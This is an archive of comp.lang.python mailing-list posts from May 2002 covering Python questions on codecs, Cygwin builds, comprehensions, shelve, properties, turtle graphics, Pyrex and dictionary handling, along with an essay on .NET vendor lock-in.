machine, the memory needed to store the largest large integer exceeeds the amount of memory that the processor can address. For a 64-bit machine, the same is true if MAXINT is 2**63-1. Regards, Martin From spam at nomail.net Wed May 15 07:03:27 2002 From: spam at nomail.net (obantec support) Date: Wed, 15 May 2002 12:03:27 +0100 Subject: Best book for python? Message-ID: <ue4h4se7khug08@news.supernews.com> Hi I need to get up to speed on python so am looking for a book. Quite a few at amazon to choose from. Any recommendations? (BTW i already program in perl/php) Mark -- Obantec Support www.obantec.net WebHosting and Domains Nominet UK Tag Holder From loewis at informatik.hu-berlin.de Thu May 2 09:40:48 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 02 May 2002 15:40:48 +0200 Subject: internationalization problems References: <ll82du4mpokdus8oo4rsshsqv43tgheqqp@4ax.com> Message-ID: <j44rhqacrj.fsf@informatik.hu-berlin.de> Johann <programisci at NOSPAM.murator.com.pl> writes: > So I need to implement codec for 3 different charsets because > Windows uses window-1250, Linux uses iso-8859-2 and Mac uses its own > different coding for Polish characters (I assume, my application > will be in Polish characters native to each platform). It wouldn't be good to rely on Linux using iso-8859-2; instead, I recommend to use locale.nl_langinfo(locale.CODESET), which is available since Python 2.2. > I thought it would be good to use codec library, but I have almost no > examples in manual how to use it. I have also no experience with this > library. Is it good idea to choose it? That should work fine for this application > I have also problem with converting from utf-8 into window-1250 or > iso-8859-2 (latin-2). E.g. > > x = u'some text' > x.encode('latin-1') > # it works but.... I need latin-2... > x.encode('latin-2') > #It does not work :-( > #err: LookupError: unknown encoding Use 'iso-8859-2' instead; only a latin-1 alias is available. In any case, stay away from Unicode literals (unless they contain only ASCII characters): the bytes in the literal are interpreted as Latin-1. So the typical conversion is something like utf8_string = get_data_from_somewhere() target_string = unicode(utf8_string, 'utf-8').encode('iso-8859-2') HTH, Martin From jason at tishler.net Wed May 8 09:42:42 2002 From: jason at tishler.net (Jason Tishler) Date: Wed, 08 May 2002 09:42:42 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: <j4n0vd40rq.fsf@informatik.hu-berlin.de> References: <3CD41CC4.5752F30C@wag.caltech.edu> <j43cx6ilpq.fsf@informatik.hu-berlin.de> <20020506131744.GD1668@tishler.net> <mailman.1020694211.2354.python-list@python.org> <pNwB8.9120$zW3.232547@news1.tin.it> <20020506165922.GN1668@tishler.net> <j4n0vd40rq.fsf@informatik.hu-berlin.de> Message-ID: <20020508134242.GF1700@tishler.net> Martin, On Mon, May 06, 2002 at 07:57:45PM +0200, Martin v. L?wis wrote: > Jason Tishler <jason at tishler.net> writes: > > I intend to submit a patch to Python CVS with a clean version of the > > above. However my motivation would be greater, if I actually knew > > of someone who is really interested in this functionality. Is there > > anyone? > > I wasn't actually suggesting that you work on this; I was merely > questioning that it does have to be the way that it currently is. > > Now that we all agree that it *could* be done differently, the > question indeed is whether it should be done differently. I asked the above question on the Cygwin list. Someone pointed out that even though the Python library is static, there still would be a dependency on the Cygwin DLL. So, it is impossible for Cygwin Python to be completely self-contained (i.e., statically linked). > In the specific case of Cygwin, it may be worth a try to see whether > -Wl,--export-dynamic works - on other systems, that automatically > manages to export all symbols from the executable, and indeed Python > uses that feature, e.g. on Linux. I tried the above and (unfortunately) it does not work under Cygwin. AFAICT, one must use a multiple step approach like the one used by the mkexp.sh script in my previous post. I'm afraid that integrating these steps into the Unix style build would end up being "ugly." Jason From tjreedy at udel.edu Fri May 31 13:03:21 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 31 May 2002 17:03:21 GMT Subject: semi-concatenated strings References: <ad5vp6$17kc@drn.newsguy.com> <mailman.1022791249.9251.python-list@python.org> <ad84d70chf@drn.newsguy.com> Message-ID: <s1OJ8.16485$4i.1909889@bin2.nnrp.aus1.giganews.com> "Grant Griffin" <Grant_member at newsguy.com> wrote in message > In article <mailman.1022791249.9251.python-list at python.org>, Skip says... > >At compile time all those strings are concatenated into one long string. > I guess I don't see what's so bad about having to put a "+" at the end of > each--except maybe that it brings on the need for a continuation backslash: Reread 'at compile time' (hopefully with linear algorithm) - only one string object created. + works at runtime with n string objects in n*n time, possibly repeatedly (if strings are in loop or function called more than once. Quite aside from extra chars. Terry J. Reedy From larooy at xtar.co.nz Tue May 14 06:08:23 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Tue, 14 May 2002 22:08:23 +1200 Subject: generated comprehensions References: <4c877253.0205132231.6d286d0b@posting.google.com> Message-ID: <20020514220823.35e11acb.larooy@xtar.co.nz> Maybe we need an 'x' comprehension? x[...] anyone? I think 1e9 is getting toward the exceptionally large. Sure if you think someone is going to plug it into your program someday, you should work around it *if* it is practical to do so. If the someday isn't for 5 or 10 years, that comprehension or whatever is going to be umpteen times faster. Best to keep things in perspective. We generally expect to need to maintain programs and raise those builtin limits as users expect/require it. You have a good point. There is an area where comprehensions aren't ideal and as a programmer in a perfect world programmers would never need to worry about the underlying implementation. This did occur to me on reading your post, and the result did startle me a little: Python 2.2.1 (#2, Apr 21 2002, 22:22:55) [GCC 2.96 20000731 (Mandrake Linux 8.1 2.96-0.62mdk)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> list(xrange(1e9)) Segmentation fault On 13 May 2002 23:31:10 -0700 garth at deadlybloodyserious.com (Garth T Kidd) wrote: > I'm a little worried about getting into the habit of using list > comprehensions because I'll have to re-write the comprehensions back > in "normal" Python whenever someone tries to shove a lot of data > through them. > > If we're talking normal sequences, of course, it's not that much of a > problem. If it fits in memory, it fits in memory. It's when you start > using generators because you need to that suddenly comprehensions look > a little brittle. > > def printOdds(upto): > for odd in [num for num in xrange(upto) if num%2]: > print odd > > ... works fine if upto is 5, but just sits there chewing up memory if > upto is 10**9, at which point you abandon comprehensions and do it > properly: > > def printOdds(upto): > for num in xrange(upto): > if num%2: > print odd > > Other comprehension party tricks suffer similarly: > > [a for a in xrange(upto//2) if sys.stdout.write('%s\n' % (a*2+1))] > > I'm sure I'll figure out a decent rule of thumb (say, "unit test with > the biggest practical number, and get rid of comprehensions if they > turn out to be a problem", or "don't use comprehensions with > generators"), but the fracture still worries me. > > Has anyone tried to figure out a generator variant on list > comprehensions? Should all list comprehensions return generators? > > Regards, > Garth. > > PS: Eh? :: > > >>> xrange(0,5000000000)[3] > Traceback (most recent call last): > File "<stdin>", line 1, in ? > OverflowError: long int too large to convert to int From greg at cosc.canterbury.ac.nz Thu May 9 00:40:03 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Thu, 09 May 2002 16:40:03 +1200 Subject: ANN: Pyrex 0.2.1 Message-ID: <mailman.1020946622.1316.clpa-moderators@python.org> Minor bug fix release, to correct a stuffup that I introduced concerning access to builtins. (That'll teach me to release spiffy new features without proper re-testing!) http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/ What is Pyrex? -------------- Pyrex is a new language for writing Python extension modules. It lets you freely mix operations on Python and C data, with all Python reference counting and error checking handled automatically. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From wdraxinger at darkstargames.de Wed May 15 17:58:46 2002 From: wdraxinger at darkstargames.de (Wolfgang Draxinger) Date: Wed, 15 May 2002 23:58:46 +0200 Subject: float separationn Message-ID: <3CE2DA16.3050209@darkstargames.de> This is not really C/C++ related, but I think this is also a place to ask: I'm currently working on a compressed 3D Object interchange format. With C/C++ its no problem to raw-write the IEEE standard floats the data consists of into files. Now I'm writing some export scripts for blender in python. My problem is, that the python float object doesn't provide a raw-data access. What I need now, is some possibility to construct the IEEE float format from data returned by the standard math functions. I think frexp() is a good start, however this still returns a float value. I'd like to have the raw bits... Some ideas? Thanks Wolfgang Draxinger From mcfletch at rogers.com Thu May 23 18:04:24 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Thu, 23 May 2002 18:04:24 -0400 Subject: property question References: <acjnug$q6c68$1@ID-75083.news.dfncis.de> Message-ID: <3CED6768.6050204@rogers.com> From basicproperty.basic: def _getValue( self, client ): """Perform a low-level retrieval of the "raw" value for the client The default implementation uses the property's name as a key into the client's __dict__ attribute. Note that this will fail with objects using __slots__. """ return client.__dict__[ self.name ] def _setValue( self, client, value ): """Perform a low-level set of the "raw" value for the client The default implementation sets the value using the property's name as a key in the client's __dict__ attribute. Note that this will fail with objects using __slots__. """ # if the client has a __setattr__, it isn't getting called here # should we defer to it by default? I don't know... client.__dict__[ self.name ] = value def _delValue( self, client ): """Perform a low-level delete of the value for the client The default implementation deletes the property's name from the client's __dict__ attribute. Note that this will fail with objects using __slots__. """ del client.__dict__[ self.name ] i.e. you can use the client's dictionary object for set/get functionality (save if there's a slots declaration, then I don't know how to do it). <shameless plug> basicproperty, part of the wxPython Properties Distribution, defines a set of utility property types. It's probably one of the most extensive Python 2.2. property-related code collections out there, so a good place to start if you're looking for sample code for real-world problems. http://wxpypropdist.sf.net/ </shameless> HTH, Mike Markus Jais wrote: > hello > > Just started playing with python 2.2 and the new features. > Now I have a question on properties: > > class Address(object): ... > def set_email(self, email): > print "in set email" > self.email = email ... > I get an endless recustion because I refer to self.email in the get_ and > set_ method > > how can I set the value of self.email and how can I return a modified > version in the get method?? ... From gerhard at bigfoot.de Mon May 20 19:24:45 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: 20 May 2002 23:24:45 GMT Subject: MAC address References: <32a4746e.0205201319.bcb9077@posting.google.com> Message-ID: <slrnaej1dp.19u.gerhard@lilith.my-fqdn.de> Ragu Bharadwaj wrote in comp.lang.python: > Hi Guys, > Is there a way in Python to obtain a MAC address for another > computer on the network? I'd just use os.popen to interface the respective command line utility for your OS (it's called 'arp' on Windows, Linux, FreeBSD). Gerhard -- public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From tundra at tundraware.com Mon May 20 23:20:06 2002 From: tundra at tundraware.com (Tim Daneliuk) Date: Tue, 21 May 2002 03:20:06 GMT Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <uecf5h5b7a67c1@news.supernews.com> <3CE68BAA.726DA1A6@engcorp.com> <e81be8b2.0205191833.1c98570c@posting.google.com> <3CE88785.B9042718@tundraware.com> <slrnaeh8il.gf3.philh@comuno.freeserve.co.uk> <dH2G8.189$l62.6959@ozemail.com.au> <838z6epblf.fsf@panacea.canonical.org> Message-ID: <3CE9BC7F.A3565ADE@tundraware.com> Kragen Sitaker wrote: > > "Patrick" <postmisc at yahoo.com.au> writes: > > Submitting the language to a standards body and opening it up to other > > implementors is hardly a clever way to lock programmers into a specific > > vendor. > > It's an excellent way to get programmers to use it. ECMA does not > require that the standardized technology be patent-free, and Microsoft > has declared their intention to make it not patent-free. The ultimate > result will be that the patents will issue in a couple of years, at > which point you will be able to compete with Microsoft's .NET by > producing a compatible implementation as long as Microsoft finds it > convenient to allow you to do so, or as long as you don't need to sell > in the US. This is the clever way to lock programmers into a specific > vendor. I disagree fundamentally with the premise here that a language "locks" anybody into anything - at least this has not been my experience in the commercial sector (which is where all the money gets spent on vendor offerings). I would note several things: 1) "Lock" happens when the cost to replace the sum total of the system components (hardware, software, networking, and most importantly, data) is not justified by some reasonable economic measure. Inevitably the "lock" eventually disappears because the costs of maintaining the old system rise at the end of that system's life-cycle to the point where replacement *is* economically justified. 1A) Even pretty compelling new language implementations cannot really guarantee lock. For its time, at least in commercial practice, Visual Basic was a terrific innovation, particularly from the perspective of programmer productivity. (Bear in mind that this is a *relative* judgement - VB was a huge step up from the GUI coding environments which it replaced.) But as compelling as the IT organizations found VB, it did not, on the whole, prevent them from using other language technologies, not did it materially prevent the adoption of "new" languages like perl or TCL. Similarly, Python itself is making great inroads into "pure Microsoft" shops. 2) Commercial systems routinely practice step-wise migrations away from proprietary components - either to standards-based solutions or another proprietary component which has some percieved benefit. Most large IT operations are (and always will be) heterogenous in OS, languages, DBMS products and so on, in part, for this very reason. 3) By far the most difficult thing to migrate is the sum-total of data lying around an organization. It has been my consistent experience that the cost of upgrading systems, languages, and the like is dwarfed by the cost of data maintenance, cleansing, and translation. 4) Nothwistanding all the Microsoft-bashing so fashionable these days, it is interesting to note that there are *more* languages, operating systems, and hardware platforms from which to choose than ever before. Microsoft's "lock" has failed by any objective measure. The only sense in which they have been able to lock things up has been on the desktop where no one has been able to beat their price/value point. In other words, they provide such a good overall perceived value that its not worth considering the alternatives. (Microsoft correctly judged that there was a huge market for "good enough" technology on the desktop. It is why they won that market but still struggle for the Big Bucks from the backrooms of the IT department - their "good enough" isn't in those non-stop environments.) 5) Every vendor has tried to achieve account control in some manner. MS, IBM, Sun, Oracle, et al play this game at fearsome levels. However, they never manage to quite succeed because per 2) above, real IT problems cannot be solved with a single-vendor solution. 6) "Standards" are overrated as a means of neutralizing vendor threats of lockup. Real standardization does not come from ECMA, ANSI, POSIX, X/Open (I have participated in both ANSI and X/Open efforts). Real standards get set by *(technology) user adoption*. Technology users such as IT departments usually do what is in their own best-interest in the short- to medium-term. Whether or not it is "standardized" is an interesting checkpoint in the vendor selection process, but it falls *way* below the higher priorities of cost reduction, Return On Investment calculations, time-to-solution and a host of business-driven factors. It is demonstrable that proprietary solutions from Microsoft, IBM, Tandem, and the like get chosen for the simple expedient that they make lots of business sense in a given environment. Anyone who limits themselves to only standards-based solutions will rapidly find themselves at huge competitive disadvantage. Some industries like high-volume transaction process (airlines, credit card processors, banks, and equities trading floors) literally could not exist if forced to play a standards only game. 7) The forthcoming battle is not about OSs or languages. These are merely the underpinnings of the real fight we are about to witness which is all about content interoperability. Even with "standards-based" content markup like XML (which I claim is still mostly about data syntax and presentation) there are deep and murky problems having to do with what that data *means* (a semantic problem). Even if new data is properly marked up to encapsulate its semantics, there is way more old data than new, and making the two place nicely is lifetimes of work. Microsoft gets this in a big way. .NET is *all* about getting people to play *their* markup and content interoperability game. They probably couldn't care less if you use C# or Python to code the endpoints of a data transaction. They want to be in the *middle* directing traffic - well, more to the point, they want to position themselves as a toll booth. If they have any real threat if World Domination, it is in this area because, again, people do what works for now. They have a real shot at making this work, IMO, because there is no meaningful alternative on the horizon which has the kind of grass-roots IT user support that .NET is clearly garnering. By most measures, EDI was a "yawn heard 'round the world". Microsoft is earnestly positioning .NET to be the "EDI" of the 21st century, except they'll expect you to "pay by the drink." So, I wouldn't worry too much about C# locking users in. I'd worry more (if you object to Microsoft's further success - I don't) about them using .NET as a Trojan Horse to get their mitts around corporate data exchanges which, in turn, leads to corporate transactions and transaction managment. Then they *will* have a shot a real vendor lockup because corporate data is Big, Ugly, and getting worse every year. Anybody who conquers *that* mountain will win, big time. ------------------------------------------------------------------------------ Tim Daneliuk tundra at tundraware.com From noah at noah.org Wed May 8 10:08:50 2002 From: noah at noah.org (Noah Spurrier) Date: Wed, 8 May 2002 07:08:50 -0700 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> <7x1ycnw6iz.fsf@ruckus.brouhaha.com> <mailman.1020848052.13269.python-list@python.org> <roy-8EF472.07333908052002@news1.panix.com> Message-ID: <027d01c1f699$e1260900$0400a8c0@saysyou> Ha! RedHat 6.2 was better known as RootHack 6.2. Oh well, it taught me a lot about security -- the hard way. Yours, Noah ----- Original Message ----- From: "Roy Smith" <roy at panix.com> Newsgroups: comp.lang.python To: <python-list at python.org> Sent: Wednesday, May 08, 2002 4:33 AM Subject: Re: Has Red Hat helped or hurt? > Oleg Broytmann <phd at phd.pp.ru> wrote: > > Alas, in these days of software rush, 2 years are more than many people > > can tolerate; for them, 2 years-old software has already dead and gone. Not > > that I am saying it is good, but this is how many people think... or were > > taught to think. > > *snort* Just yesterday at lunch, a co-workers asked me what I thought of > Apple's announcement that OS-9 was dead. Would it force me to upgrade to > OS-X before I really wanted to? My answer was that it really didn't affect > me because I hadn't upgraded to OS-9 yet. > > Then again, I'm also running RedHat 6.2. Oddly enough, I've upgraded my > python to 2.x, and havn't yet seen any problems caused by that. > From sholden at holdenweb.com Tue May 7 07:45:39 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 07:45:39 -0400 Subject: survey: is shelve broken? should it be fixed? References: <8mMB8.12837$CN3.452004@news2.tin.it> Message-ID: <BaPB8.4870$m26.4617@atlpnn01.usenetserver.com> "Alex Martelli" <aleax at aleax.it> wrote ... > Just checking if I'm the only one to feel that shelve seriosly violates the > principle of least astonishment when you shelve modifiable values: > > [alex at lancelot Lib]$ python > Python 2.2.1 (#1, Apr 15 2002, 17:55:14) > [GCC 2.96 20000731 (Mandrake Linux 8.1 2.96-0.62mdk)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import shelve > >>> s=shelve.open('ciao','c') > >>> s['ciao']=range(4) > >>> s['ciao'] > [0, 1, 2, 3] > >>> s['ciao'].append(23) > >>> s['ciao'] > [0, 1, 2, 3] > > The access to s['ciao'] returns a temporary and promptly forgets about > it. The .append call is done on the temporary object and thus 'silently > ignored' from the point of view of the shelf. I must have helped people > out of this trap a dozen times (plus, fallen into it myself two or three > times:-) -- Python so rarely violates the principle of least astonishment > that it's *really* astonishing when it does:-). > > We probably can't change this default (mis-)behavior due to backward > compatibility needs, but it wouldn't be too hard to at least give a simple > _optional_ way out, even though off-by-default: > > >>> s.close() > >>> s=shelve.open('ciao','c',smart=1) > >>> s['ciao'] > [0, 1, 2, 3] > >>> s['ciao'].append(23) > >>> s['ciao'] > [0, 1, 2, 3, 23] > >>> s.close() > >>> s=shelve.open('ciao','c') > >>> s['ciao'] > [0, 1, 2, 3, 23] > >>> > > http://sourceforge.net/tracker/index.php?func=detail&aid=553171&group_id=547 0&atid=305470 > > is a Q&D fix enabling this optional smart=1 parameter (doing it the RIGHT > way would no doubt involve weak references, but I didn't try that yet -- it > takes a bit more care because the values may or may not be weakly > referenceable etc, I'd guess). > > But, implementation issues apart, what do people think of the general issue > of functionality and interface to it? Am I the only silly Pythonista who > worries about this, and everybody else once they've learned the trap just > deftly avoids shelving mutables or uses other workarounds (or eschews shelve > altogether I guess:-)...? > > I think that having the 'smart=1' option in the docs would help people be > _aware_ that the trap exists, and thus would be beneficial anyway. Maybe > we should just document the trap, but, as fixing it (at least optionally) > isn't that hard, that doesn't strike me as ideal. > > Opinions welcome -- that's why I called this a 'survey'. Thanks! It certainly seems like the default behavior is broken, in a way that some people may unfortunately have written code to depend on. It seems like a good idea to go ahead with the modification, and (sadly) to retain the existing behavior for compatibilty and absence of code breakage. I'd also suggest the new behavior becomes the default for Python 3 ... regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From python at gbronline.com Sat May 25 12:27:00 2002 From: python at gbronline.com (Peter F. Ferris) Date: Sat, 25 May 2002 11:27:00 -0500 Subject: Off Topic, But List Related -- Tired of Getting Spammed Via In-Reply-To: <XFMail.20020525091656.shalehperry@attbi.com> Message-ID: <DBELKJPDCMPIGKAIDFKJEEPCCNAA.python@gbronline.com> : -----Original Message----- : From: Sean Perry [CLEARTEXT E-MAIL ADDRESS DELETED!]On Behalf Of Sean 'Shaleh' : Perry : : On 25-May-2002 Peter F. Ferris wrote: <SNIP> : > that I believe can help minimize spam. Even if only a few : readers are being : > spammed, steps could and SHOULD (IMHO) be taken to minimize or : PREVENT it. : > : : Most likely they are eating your address from either a) subscribing to eat : addresses, b) web crawling the online archive or c) the usenet postings. So far so good. Nothing new there. : public lists lead to spam. You get used to it or you try to : control it coming : in. Changing this list won't help. "Get used to it"?!?!? You're kidding... I beg to differ. Perhaps you didn't read about Shibboleth. Clear text addresses do not appear anywhere in the messages unless the (l)user writes it in the message body. Again, for your weekend reading enjoyment, may I recommend: Learn more about Shibboleth at: http://sourceforge.net/projects/shibboleth/ Read a Shibboleth White Paper at: http://www.interhack.net/pubs/shibboleth/ Have a good one, --Pete From aleax at aleax.it Mon May 13 18:37:09 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 22:37:09 GMT Subject: Rationals and Linear Programming in Python References: <mailman.1021222404.4103.python-list@python.org> <lzxD8.49747$zW3.655443@news1.tin.it> <c9d82136.0205131146.4dc22@posting.google.com> Message-ID: <peXD8.38765$CN3.1352474@news2.tin.it> Noah wrote: ... > I'm more interested in a pure Python type. The Gmpy docs say > that it has this, so far so good. Do you know if it will work ? gmpy is a wrapper over the GMP library, which in turn is implemented in C or assembler. Don't know exactly what you mean by "a pure Python type", but if you mean a type entirely coded in Python, gmpy doesn't have any, and I'd appreciate it if you could point out to me what part of the docs misleadingly gave that impression, thanks. > with the matrix type in Numerical Python? I don't think LinearAlgebra.inverse can invert any matrix with typecode 'O', though I may be wrong on that -- but if I'm not wrong, then there's rigorously nothing that gmpy can do about it. Is that what you mean? Alex From peter at engcorp.com Tue May 7 23:19:28 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 07 May 2002 23:19:28 -0400 Subject: extraneous import statements needed References: <ab6uvg$pno$1@news1.ucsd.edu> Message-ID: <3CD89940.22826002@engcorp.com> Jeff Davis wrote: > > I created a module that is essentially one big class. At the top I have a > group of import statements (outside the class). Within my methods I call > functions such as string.split(). However, I get strage error messages > about "type None does not have attribute split" or something similar > (always thinks that the module name is instead a None object). You may have a variable called "string" which is hiding the module after you've imported it? In that case, calling "string.split()" is going to produce the error you described. > I can fix it easily by just adding imports at the top of my class methods > until I don't get any more errors, but that doesn't help me understand > what's wrong. You're way on the wrong track with that. This has nothing to do with imports per se, but with some other bug. > Sorry I didn't include an example, but as I said it seemed inconsistant > and I have not (yet) been able to narrow down the cause or a good > example/test case. Don't worry about a test case. Just wait for the next time it hits the problem and grab the exception traceback, paste it into a message, and repost it here. We should be able to give you good guidance on narrowing it down at that point. -Peter From martin.erren at brainforce.at Fri May 10 11:20:46 2002 From: martin.erren at brainforce.at (Martin Erren) Date: Fri, 10 May 2002 17:20:46 +0200 Subject: NameError: Case mismatch for module name sys Message-ID: <3cdbe559$0$155@ams2eusosrv31.ams.ops.eu.uu.net> Hello, in a package named "Sys" (not of my own). I need: import traceback, sys Then I get "NameError: Case mismatch for module name sys" (filename lib\Sys\Sys.py) I don't need "Sys" in the package, but "sys" in the python-standard lib. Is the namespace case-insensitive, but I have to address it case-sensitive? Can I "leave" the package-Directory in imports explicitely? Thanks in advance: Martin Erren From ruediger.maehl_nospam at web.de Tue May 21 04:54:54 2002 From: ruediger.maehl_nospam at web.de (Ruediger Maehl) Date: Tue, 21 May 2002 10:54:54 +0200 Subject: Bar and Pie Graphs References: <mailman.1021655010.20041.python-list@python.org> Message-ID: <newscache$3vdgwg$nfo$1@www-neu.dzsh.de> "Marcus Laranjeira" <m.laranjeira at datacraft.com.br> schrieb im Newsbeitrag news:mailman.1021655010.20041.python-list at python.org... > All, > > I am writing a report generator in python and I need to create some 3D bar > and pie graphs, just like the graphs created using microsoft excel. Do you > know how could this be done ? do anyone know a module I can use for this ? You might check www.reportlab.com for generating reports in pdf format. It offers also bar and pie charts and similar > Any help is good ! HTH > Thanks > > Marcus > SP-Brasil > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.360 / Virus Database: 199 - Release Date: 07/05/02 R?diger PS: simple text messages are preferred! From jb at cascade-sys.com Thu May 2 10:36:25 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 02 May 2002 07:36:25 -0700 Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> <k18A8.38495$8D3.1134538@news1.tin.it> <3CD13E39.F01FABC0@cascade-sys.com> <200205021352.g42Dqeq06229@cascade.cascade-sys.com> Message-ID: <3CD14EE9.22B7F4F2@cascade-sys.com> Alex Martelli wrote: > On Thursday 02 May 2002 03:25 pm, James J. Besemer wrote: > ... > > > >> Since seq.index(max(seq)) is most concise, fastest, and quite clear, > > > (a) I thought I was using the term consistently with others in posts > > earlier, when we were talking about map() and filter(). > > Those ARE higher-order functions, you know. You'll have to define the term for me then. I haven't studied FP for a long time. I distinctly recall a lecture by John Backus years ago that later was published in CACM (Turing award paper, IIRC). We all went to a lecture by the inventor of Fortran to see what he had been up to in the time since and the answer was he was developing a Functional Programming language called FP, faintly remniscant of APL. It was the first I ever heard of the concept. Now it may have a different name now but as I recall it, he had this certain FP form and then walked us through a way of determining the "derivitive" of that algorithm. I don't recall what "derivative" meant in that domain but to me "higher order" for FP is analogous to THAT kind of manipulation with differential equations (which in practice has little to do with day to day programming practices). > Ah, APL, the ultimate functional programming language! Sorry, but that > FAQ's response seems rather inapplicable to me here. That FAQ didn't mention APL, though now that you mention it, I in my ignorance would clasify it as a functional programming language. > Just because > you're calling an ordinary function or two (even on vectors) doesn't mean > your overall style "emphasizes the evaluation of expressions, rather than > the execution of commands". Were I do define FP, I'd focus on 'immutable > data' (or 'single assignment' as being roughly equivalent). Thus ruling APL > out because, while STRONGLY expression-oriented (and vector, too!), > its typical expressions most often include the <- (leftarrow) operator which, > surprise surprise, assigns data. (a) in APL functions, assignment was mostly used as a short hand for eliminating common sub-expressions, something you can't otherwise easily do in a textual representation. Also, wasn't assignment used to designate the return result from a function? I admit, howver, they did technically constitute statements and there even was a goto if I am not mistaken. (b) perhaps assignment can be eliminated in some kind of "pure" FP (like in "pure" Scheme). BUt in practice programmers need to put the results somewhere. Seems FP could apply to your "overall style" and still use assignment. But you're the expert. > You may choose to define "basic FP tasks" as being those which require > neither data mutation or name rebinding, nor higher-order functions. Not > a very large set, to be sure, but still it would apply to e.g. all pure string > manipulations in Python -- still, IMHO, too wide a set for usefully sharp > definition. I wasn't thinking of them but, yes, I'd lump all the string functions (ones that map strings onto strings) into the FP bin. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From duncan at NOSPAMrcp.co.uk Thu May 30 09:37:58 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Thu, 30 May 2002 13:37:58 +0000 (UTC) Subject: Spiral References: <gXPDTYGWch98Ew1w@[127.0.0.1]> Message-ID: <Xns921E939913B0Bduncanrcpcouk@127.0.0.1> Chris <nospam@[127.0.0.1]> wrote in news:gXPDTYGWch98Ew1w@[127.0.0.1]: > I've written a small QBASIC program which draws a spiral. Here is the > code: > > SCREEN 12 > CLS > FOR t = 1 TO 400 STEP .01 > x = .5 * t * COS(t) > y = .5 * t * SIN(t) > PSET (x + 320, y + 240) > NEXT t > > I noticed that it generated some interesting patterns, probably as a > result of rounding errors. These can be explored further by making the > spiral tighter. > > Anyway, I wonder if anyone would be so kind as to convert it to Python > because then I can try and decide whether Python is easy enough for me > to learn! How about: >>> from turtle import * >>> reset() >>> tracer(0) >>> for t1 in range(1, 40000): t = t1/100. x, y = .5 * t * sin(t/180.*pi), .5 * t * cos(t/180.*pi) goto(x, y) Notes: Python uses radians for cos and sin, so you have to convert your degrees to radians. Use 'tracer(1)' to see what is happening (but it is much slower). You get pretty much the same output with: >>> from turtle import * >>> reset() >>> tracer(0) >>> for t in range(1, 400): x, y = .5 * t * sin(t/180.*pi), .5 * t * cos(t/180.*pi) goto(x, y) -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From bgrotan at stud.ntnu.no Thu May 30 03:36:08 2002 From: bgrotan at stud.ntnu.no (=?iso-8859-1?Q?Bj=F8rn?= Ove =?iso-8859-1?Q?Gr=F8tan?=) Date: Thu, 30 May 2002 09:36:08 +0200 Subject: Dictionary checking References: <3CEFCDC4.67C1564E@stud.ntnu.no> <83r8jwszde.fsf@panacea.canonical.org> Message-ID: <3CF5D668.F85CF930@stud.ntnu.no> Kragen Sitaker wrote: > > Bj?rn Ove Gr?tan <bgrotan at stud.ntnu.no> writes: > > I'm building a dictionary with values from a file. > > > > for each key, I have an ID, Name and Alias > > some keys I have only ID and Name, some keys with > > ID and Alias, some keys with all 3 and a few keys > > with only a ID with no Name and no Alias. > > So your file looks something like this? > JKJ30 id=foo name=bar alias=baz > JKJ31 id=quux name=blort > JKJ32 id=bloozie alias=znap > > > How can I check if Name and/or Alias contain anything. > > Well, that depends on your file format and your internal > representation. Every X minutes this file is generated.. from time to time I will not know 100% of the contents.. my dict looks like this: If my input is from file or STDIN makes no difference... the dict should/will be build anyways.. oudict[depID] = parentID, depName, depAlias I do a readline-routine to put data from input-file, and splits on ";" for each depID, the dict stores parentID, depName and depAlias after successfully building the dict, I have the following code: for depID in oudict.keys(): if filter(lambda x: x>'\x7f', oudict[depID][1]): ouldif.write("dn:: ",) else: ouldif.write("dn: ",) currentID = depID while 1: oustr = oudict[currentID][1] # if oudict[currentID][1] contains nothing.. # I must use [2] instead of [1].. a simple compare.. # this is basically what I want to do.. if [1] is "" and # [2] is "" I want to reject that depID and put that depID # into an output-file if filter(lambda x: x>'\x7f', oustr): ouldif.write(base64.encodestring("ou=" + oustr + ",",)) else: ouldif.write(" ou=" + oustr) if currentID == oudict[currentID][0]: break currentID = oudict[currentID][0] ouldif.write("\n") ouldif.write("objectClass: top \n") ouldif.write("objectClass: organizationlunit \n") if filter(lambda x: x>'\x7f', oustr): ouldif.write("ou: " + base64.encodestring(oudict[currentID][1])) else: ouldif.write("ou: " + oudict[currentID][1]) ouldif.write("\n \n") the second question is, I'm building another dict-> persondict() persondict[recID] = depIDrel, pnummer, pansnum, pnavn, pstilling, pfunksjon when I'm building output from persondict() I want to map the value of depName or depAlias from oudict() with info from persondict(). depIDrel in persondict() corresponds with the appropriate value of depID in oudict() Best regards Bj?rn 